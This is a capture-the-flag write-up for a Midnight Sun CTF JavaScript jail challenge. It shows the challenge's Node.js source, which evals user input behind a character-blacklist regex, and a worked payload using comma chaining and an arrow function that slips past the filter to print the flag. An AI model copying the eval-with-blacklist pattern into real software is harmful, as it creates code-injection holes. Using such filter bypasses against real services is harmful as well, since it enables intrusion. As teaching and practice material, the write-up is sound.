Javascript jail challenge that filters most Javascript special symbols and alphabets.

Challenge Description

You are awesome at breaking into stuff, how about breaking out?

Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542

Points

Points: 200

Solves: 3

Author: avlidienbrunn

Solution

We are given the following source code:

var readline = require('readline');
var rl = readline.createInterface(process.stdin, process.stdout);

var Jail = (function() {
    var rv = {};

    function secretFuncUnguessable(a,b,c){
        if(a === '' && b === '' && c === ''){
            return true;
        }
    }

    function call(code) {
        var line = "";

        if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
            console.log("Unrecognized code.");
            throw 123;
            return;
        }

        if(!(code.length == 32)){
            console.log("Incorrect code length.");
            throw 123;
            return;
        }

        arguments = undefined;

        ret = null;
        ret = eval("this.secretFuncUnguessable"+code);

        if(typeof ret == "function"){
            if(ret.call(this,'', '', '') === true){
                console.log("");
            }else{
                console.log("Incorrect code.");
            }
        }else{
            console.log("Incorrect code.");
        }
        throw 123;
    };
    rv.call = call;
    rv.toString = function(){return rv.call.toString()};

    return rv;
})();

template = `| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\\__/) ||
(•ㅅ•) ||
/   づ

Code: `;

function ask(){
    rl.question(template,function(answer){
        Jail.call(answer);
    });
}

ask();

The program filters a lot of characters and we are left with the following to work with:

['0',
'1',
'2',
'3',
'4',
'5',
'6',
'7',
'8',
'9',
'!',
'#',
'$',
'%',
'&',
'(',
')',
'*',
',',
':',
'<',
'=',
'>',
'?',
'@',
'^',
'_',
'|',
'~',
'\t',
'\n',
'\r',
'\x0b',
'\x0c']

The objective is to get the flag by passing these constraints:

ret = eval("this.secretFuncUnguessable"+code);

        if(typeof ret == "function"){
            if(ret.call(this,'', '', '') === true){
                console.log("");
            }else{
                console.log("Incorrect code.");
            }
        }else{
            console.log("Incorrect code.");
        }

The user input is concatenated with the base part of the unguessable function name and then evaluated. Thus, we have to make the eval return a valid function that also returns true when those parameters are passed to it.

We can create a test environment for ourselves to play with this:

$ nodejs
> this.secretFunction12345 = function(a,b,c) {
... if (a == "1") return true;
... }
[Function]
> eval("this.secretFunction" + "")
undefined
>

To begin with, we need to be able to chain another command. We can do this easily with ,.

> eval("this.secretFunction" + ",1")
1

Next, we need to create a function. Turns out, we can do this with the fat arrow notation =>. I opted to use a unicode symbol as the variable name since it was not filtered.

> eval("this.secretFunction" + ",Ŝ=>1")
[Function]

Finally, we need that function to always return true. We can do this by using !0 to create that value.

> !0
true
> eval("this.secretFunction" + ",Ŝ=>!0")
[Function]
> eval("this.secretFunction" + ",Ŝ=>!0")()
true

Now, all we need to do is pad it to the required length and then send it to the server to get our flag.

nc 34.244.177.217 55542
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: ,1111111111111111111111111,Ŝ=>!0
midnight{f33lin_fr1sky_f0r_funky_funct10nz}

Flag: midnight{f33lin_fr1sky_f0r_funky_funct10nz}

Leave a Comment